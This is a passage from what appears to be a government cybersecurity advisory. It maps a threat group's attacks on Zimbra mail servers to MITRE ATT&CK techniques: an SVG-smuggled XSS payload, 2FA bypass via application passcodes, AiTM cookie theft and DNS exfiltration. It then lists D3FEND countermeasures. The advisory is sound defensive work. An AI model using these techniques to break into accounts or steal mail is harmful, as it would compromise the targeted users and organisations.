<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
